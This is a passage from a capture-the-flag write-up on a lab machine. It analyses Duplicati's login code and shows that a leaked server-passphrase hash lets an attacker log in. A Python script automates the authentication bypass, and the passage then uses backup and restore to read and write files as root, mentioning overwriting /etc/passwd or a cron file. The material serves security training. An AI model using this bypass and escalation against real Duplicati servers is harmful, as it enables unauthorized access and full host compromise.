-2||max-download-speed|
-2||max-upload-speed|
-2||thread-priority|
-2||last-webserver-port|8200
-2||is-first-run|
-2||server-port-changed|True
-2||server-passphrase|ZhB5v<REDACTED>uuQk=
-2||server-passphrase-salt|j+7JQsuO7aggNAESQRkCBJd8dwdUE6A9QLTKXM3LB7w=
-2||server-passphrase-trayicon|4f760941-ce8f-4e03-b427-a92319d6d763
-2||server-passphrase-trayicon-hash|VHwBLiNdg/D545Utf8j67DSvqTvBmhpJIWzWmJCiV3o=
-2||last-update-check|638417625259706730
-2||update-check-interval|
-2||update-check-latest|
-2||unacked-error|
-2||unacked-warning|
-2||server-listen-interface|any
-2||server-ssl-certificate|
-2||has-fixed-invalid-backup-id|True
-2||update-channel|
-2||usage-reporter-level|
-2||has-asked-for-password-protection|true
-2||disable-tray-icon-login|false
-2||allowed-hostnames|*
1||encryption-module|
1||compression-module|zip
1||dblock-size|50mb
1||--no-encryption|true
1||retention-policy|1W:1D,4W:1W,12M:1M
sqlite> .quit
Login to Duplicati
It turns out that we can login to the web interface by knowing the server-passphrase
. There’s an article published just after the chain’s release that explains the attack. I highly recommend to read it first.
Let’s try to understand the attack in more detail and why it works.
Using Burp Suite we can inspect requests sent when we try to login at http://web.unintended.vl:8200/login.html with any password.
First it gets a nonce from the server:
POST /login.cgi HTTP/1.1
Host: web.unintended.vl:8200
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:124.0) Gecko/20100101 Firefox/124.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 11
Origin: http://web.unintended.vl:8200
DNT: 1
Connection: close
Referer: http://web.unintended.vl:8200/login.html
Cookie: xsrf-token=uVr84ltXrj1xJ8shYnhZUF41%2B%2BydyzIUqXPLqvbZFO0%3D
get-nonce=1
HTTP/1.1 200 OK
Cache-Control: no-cache, no-store, must-revalidate, max-age=0
Date: Thu, 02 May 2024 01:01:18 GMT
Content-Length: 140
Content-Type: application/json
Server: Tiny WebServer
Connection: close
Set-Cookie: session-nonce=2ZsSuaEaB77wEMO878o2K5t%2BE1n4R5JE0DgQ0scpnlE%3D; expires=Thu, 02 May 2024 01:11:18 GMT;path=/;
{
"Status": "OK",
"Nonce": "2ZsSuaEaB77wEMO878o2K5t+E1n4R5JE0DgQ0scpnlE=",
"Salt": "j+7JQsuO7aggNAESQRkCBJd8dwdUE6A9QLTKXM3LB7w="
}
Then the password
is likely generated and sent based on the nonce and the value we entered in the form:
POST /login.cgi HTTP/1.1
Host: web.unintended.vl:8200
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:124.0) Gecko/20100101 Firefox/124.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 57
Origin: http://web.unintended.vl:8200
DNT: 1
Connection: close
Referer: http://web.unintended.vl:8200/login.html
Cookie: xsrf-token=uVr84ltXrj1xJ8shYnhZUF41%2B%2BydyzIUqXPLqvbZFO0%3D; session-nonce=2ZsSuaEaB77wEMO878o2K5t%2BE1n4R5JE0DgQ0scpnlE%3D
password=tr3sWKfzgne4V7zlm43NHYmq%2BwiKhJSBbijmNkMsH4A%3D
HTTP/1.1 401 Unauthorized
Date: Thu, 02 May 2024 01:01:19 GMT
Content-Length: 0
Content-Type: application/json
Server: Tiny WebServer
Connection: close
This is how the password
sent to login.cgi
is actually generated client-side:
// First we grab the nonce and salt
$.ajax({
url: './login.cgi',
type: 'POST',
dataType: 'json',
data: {'get-nonce': 1}
})
.done(function(data) {
var saltedpwd = CryptoJS.SHA256(CryptoJS.enc.Hex.parse(CryptoJS.enc.Utf8.parse($('#login-password').val()) + CryptoJS.enc.Base64.parse(data.Salt)));
var noncedpwd = CryptoJS.SHA256(CryptoJS.enc.Hex.parse(CryptoJS.enc.Base64.parse(data.Nonce) + saltedpwd)).toString(CryptoJS.enc.Base64);
$.ajax({
url: './login.cgi',
type: 'POST',
dataType: 'json',
data: {'password': noncedpwd }
})
First saltedpwd
is the SHA256 hash of the plaintext password entered by the user concatenated with the salt. Then noncedpwd
is the SHA256 hash of the nonce concatenated with saltedpwd
, which is then sent as the password
parameter to login.cgi
.
Next, this is how server-passphrase
is used on the backend:
public const string SERVER_PASSPHRASE = "server-passphrase";
public string WebserverPassword
{
get
{
return settings[CONST.SERVER_PASSPHRASE];
}
}
...
public void SetWebserverPassword(string password)
{
if (string.IsNullOrWhiteSpace(password))
{
lock(databaseConnection.m_lock)
{
settings[CONST.SERVER_PASSPHRASE] = "";
settings[CONST.SERVER_PASSPHRASE_SALT] = "";
}
}
else
{
var prng = RandomNumberGenerator.Create();
var buf = new byte[32];
prng.GetBytes(buf);
var salt = Convert.ToBase64String(buf);
var sha256 = System.Security.Cryptography.SHA256.Create();
var str = System.Text.Encoding.UTF8.GetBytes(password);
sha256.TransformBlock(str, 0, str.Length, str, 0);
sha256.TransformFinalBlock(buf, 0, buf.Length);
var pwd = Convert.ToBase64String(sha256.Hash);
lock(databaseConnection.m_lock)
{
settings[CONST.SERVER_PASSPHRASE] = pwd;
settings[CONST.SERVER_PASSPHRASE_SALT] = salt;
}
}
SaveSettings();
}
server-passphrase
is the SHA256 hash of the plaintext password concatenated with server-passphrase-salt
. This matches the saltedpwd
variable in login.js
, with the exception that saltedpwd
is in hex whereas server-passphrase
is in Base64.
Now let’s see how WebserverPassword
(i.e. server-passphrase
) is used in the authentication handler of the backend:
if (input["get-nonce"] != null && !string.IsNullOrWhiteSpace(input["get-nonce"].Value))
{
if (m_activeNonces.Count > 50)
{
response.Status = System.Net.HttpStatusCode.ServiceUnavailable;
response.Reason = "Too many active login attempts";
return true;
}
var password = FIXMEGlobal.DataConnection.ApplicationSettings.WebserverPassword;
if (request.Headers[TRAYICONPASSWORDSOURCE_HEADER] == "database")
password = FIXMEGlobal.DataConnection.ApplicationSettings.WebserverPasswordTrayIconHash;
var buf = new byte[32];
var expires = DateTime.UtcNow.AddMinutes(AUTH_TIMEOUT_MINUTES);
m_prng.GetBytes(buf);
var nonce = Convert.ToBase64String(buf);
var sha256 = System.Security.Cryptography.SHA256.Create();
sha256.TransformBlock(buf, 0, buf.Length, buf, 0);
buf = Convert.FromBase64String(password);
sha256.TransformFinalBlock(buf, 0, buf.Length);
var pwd = Convert.ToBase64String(sha256.Hash);
m_activeNonces.AddOrUpdate(nonce, key => new Tuple<DateTime, string>(expires, pwd), (key, existingValue) =>
{
// Simulate the original behavior => if the nonce, against all odds, is already used
// we throw an ArgumentException
throw new ArgumentException("An element with the same key already exists in the dictionary.");
});
response.Cookies.Add(new HttpServer.ResponseCookie(NONCE_COOKIE_NAME, nonce, expires));
using(var bw = new BodyWriter(response, request))
{
bw.OutputOK(new {
Status = "OK",
Nonce = nonce,
Salt = FIXMEGlobal.DataConnection.ApplicationSettings.WebserverPasswordSalt
});
}
return true;
}
else
{
if (input["password"] != null && !string.IsNullOrWhiteSpace(input["password"].Value))
{
var nonce_el = request.Cookies[NONCE_COOKIE_NAME] ?? request.Cookies[Library.Utility.Uri.UrlEncode(NONCE_COOKIE_NAME)];
var nonce = nonce_el == null || string.IsNullOrWhiteSpace(nonce_el.Value) ? "" : nonce_el.Value;
var urldecoded = nonce == null ? "" : Duplicati.Library.Utility.Uri.UrlDecode(nonce);
if (m_activeNonces.ContainsKey(urldecoded))
nonce = urldecoded;
if (!m_activeNonces.ContainsKey(nonce))
{
response.Status = System.Net.HttpStatusCode.Unauthorized;
response.Reason = "Unauthorized";
response.ContentType = "application/json";
return true;
}
var pwd = m_activeNonces[nonce].Item2;
// Remove the nonce
m_activeNonces.TryRemove(nonce, out _);
if (pwd != input["password"].Value)
{
response.Status = System.Net.HttpStatusCode.Unauthorized;
response.Reason = "Unauthorized";
response.ContentType = "application/json";
return true;
}
...
We can see that the password
(i.e. noncedpwd
) sent to login.cgi
is compared with the SHA256 hash of a randomly generated nonce concatenated with WebserverPassword
(i.e. server-passphrase
).
This means that knowing server-passphrase
, we can easily compute the correct noncedpwd
to be able to login.
We need to send a first request to login.cgi
to get a nonce, then send a second request with the password
parameter set as the SHA256 hash in Base64 of the nonce concatenated with server-passphrase
.
Here is a script to automate the attack, duplicati-login.py
:
import requests
import base64
import hashlib
server_passphrase = 'ZhB5v<REDACTED>uuQk='
s = requests.Session()
s.get('http://web.unintended.vl:8200/login.html')
r = s.post('http://web.unintended.vl:8200/login.cgi', data = {
'get-nonce': 1
}).json()
nonce = r['Nonce']
saltedpwd_bin = base64.b64decode(server_passphrase)
noncedpwd = base64.b64encode(hashlib.sha256(base64.b64decode(nonce) + saltedpwd_bin).digest()).decode()
r = s.post('http://web.unintended.vl:8200/login.cgi', data = {
'password': noncedpwd
})
print(f'Status code: {r.status_code}')
print(f'Cookies: {s.cookies}')
└─$ python3 duplicati-login.py
Status code: 200
Cookies: <RequestsCookieJar[<Cookie xsrf-token=p4ORaHNTOvntwOf79tH1o%2Fq6SVaSupLvNmQiSN4hIs4%3D for web.unintended.vl/>, <Cookie session-nonce=6Q46SzvPaU%2BVeK37dOVnWp%2Fw8k8NJmVg6u0TqVqq9D8%3D for web.unintended.vl/>, <Cookie session-auth=QsSMl8sEoSVHVJgXCz0iLKUGtBqDDBe2kBCQyAYVBwI for web.unintended.vl/>]>
At http://web.unintended.vl:8200/login.html we now add or replace the cookie values to what the script gave us (make sure the path is set to /
).
After navigating to http://web.unintended.vl:8200/ again, we will successfully login!
Read the flag with backup and restore
Let’s try to add a new backup:
We notice that the root filesystem of the host is mounted at /source
in the Duplicati container, allowing us to backup any files on the host to any location:
Let’s backup /source/root/flag.txt
to /source/tmp/flag
:
Leave default settings for Schedule and Options.
Click on Run now for the newly added backup:
After the backup runs, we can check the created files in a SSH session on WEB as juan:
juan@unintended.vl@web:~$ ls /tmp/flag
duplicati-20240502T025339Z.dlist.zip duplicati-ba1abdf89a9af488ebe1b800f48517ff7.dblock.zip duplicati-i15ebd0d15d644e5d8e6e1212b840cc72.dindex.zip
Now click on Restore files…:
Restore the files (the flag) to /source/tmp/flag
:
After the restore, we can read the flag:
juan@unintended.vl@web:~$ ls /tmp/flag
duplicati-20240502T025339Z.dlist.zip duplicati-ba1abdf89a9af488ebe1b800f48517ff7.dblock.zip duplicati-i15ebd0d15d644e5d8e6e1212b840cc72.dindex.zip flag.txt
juan@unintended.vl@web:~$ cat /tmp/flag/flag.txt
VL{...}
The method showed above lets us not only read but also write arbitrary files as root on the host. We can achieve that by creating the file inside the SSH session as juan, specifying it as the backup source, then restoring it to the desired destination folder. We could then easily get interactive shell access as root, for example by overwriting /etc/passwd or with various other tricks. See the Discord’s master channel for an example of writing a malicious cron file to /etc/cron.d
.